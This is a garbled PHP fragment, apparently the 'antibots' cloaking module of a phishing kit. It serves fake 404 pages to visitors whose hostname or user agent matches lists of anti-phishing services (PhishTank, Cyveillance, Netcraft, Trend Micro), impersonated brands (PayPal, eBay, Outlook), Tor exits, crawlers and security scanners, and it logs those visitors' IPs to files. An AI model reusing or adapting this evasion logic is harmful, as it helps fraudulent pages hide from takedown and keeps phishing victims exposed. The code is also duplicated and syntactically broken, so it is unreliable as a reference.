404 Not FoundThe page that you have requested could not be found."); } } } $hostname = gethostbyaddr($_SERVER['REMOTE_ADDR']); $blocked_words = array("above", "google", "softlayer", "amazonaws", "cyveillance", "phishtank", "dreamhost", "netpilot", "calyxinstitute", "tor-exit","amazonaws","cyveillance","phishtank","dreamhost","netpilot","calyxinstitute","tor-exit", "msnbot","p3pwgdsn","netcraft","trendmicro", "ebay", "paypal", "torservers", "messagelabs", "sucuri.net", "crawler",); foreach($blocked_words as $word) { if (substr_count($hostname, $word) > 0) { header("HTTP/1.0 404 Not Found"); echo("

404 Not Found

The page that you have requested could not be found."); } } $count_hits = ("antibots.txt"); $hits = file($count_hits); $hits[0]++; $fp = fopen($count_hits, "w"); fputs($fp, "$hits[0]"); fclose($fp); if ($hits[0] > 30) { $a = getenv("REMOTE_ADDR"); $b = getenv("HTTP_USER_AGENT"); $c = getenv("HOSTNAME"); $ne = "Deny from $a"; $file = "newips.php"; $fp = fopen($file, "a"); fwrite($fp, $ne); $n = "RewriteEngine on Options +FollowSymlinks RewriteCond %{HTTP_USER_AGENT} ^$b [OR] RewriteRule ^.* - [F,L] "; } $hostname = gethostbyaddr($_SERVER['REMOTE_ADDR']); $blocked_words = array("above", "google", "softlayer", "amazonaws", "cyveillance", "phishtank", "dreamhost", "netpilot", "calyxinstitute", "tor-exit",); foreach($blocked_words as $word) { if (substr_count($hostname, $word) > 0) { header("HTTP/1.0 404 Not Found"); echo("

404 Not Found

The page that you have requested could not be found."); } } ?> ".gmdate ("H:i:s")."\n\n"); echo"
"; echo("

404 Not Found

The page that you have requested could not be found."); } } $dp = strtolower($_SERVER['HTTP_USER_AGENT']); $blocked_words = array( "bot", "above", "google", "softlayer", "amazonaws", "cyveillance", "phishtank", "dreamhost", "netpilot", "calyxinstitute", "tor-exit", "apache-httpclient", "lssrocketcrawler", "crawler", "urlredirectresolver", "jetbrains", "spam", "windows 95", "windows 98", "acunetix", "netsparker", "007ac9", "008", "192.comagent", "200pleasebot", "360spider", "4seohuntbot", "50.nu", "a6-indexer", "admantx", "amznkassocbot", "aboundexbot", "aboutusbot", "abrave spider", "accelobot", "acoonbot", "addthis.com", "adsbot-google", "ahrefsbot", "alexabot", "amagit.com", "analytics", "antbot", "apercite", "aportworm", "EBAY", "CL0NA", "jabber", "ebay", "arabot", "hotmail!", "msn!", "outlook!", "outlook", "msn", "hotmail", ); foreach($blocked_words as $word2) { if (substr_count($dp, strtolower($word2)) > 0 or $dp == "" or $dp == " " or $dp == " ") { header("HTTP/1.0 404 Not Found"); $ip = getenv("REMOTE_ADDR"); $file = fopen("bot-_-.txt","a"); fwrite($file," user-agent : ".$_SERVER['HTTP_USER_AGENT']."\n ip : ". $ip." || ".gmdate ("Y-n-d")." ----> ".gmdate ("H:i:s")."\n\n"); echo"
"; echo("

404 Not Found

The page that you have requested could not be found."); } } ?>

404 Not Found

The page that you have requested could not be found.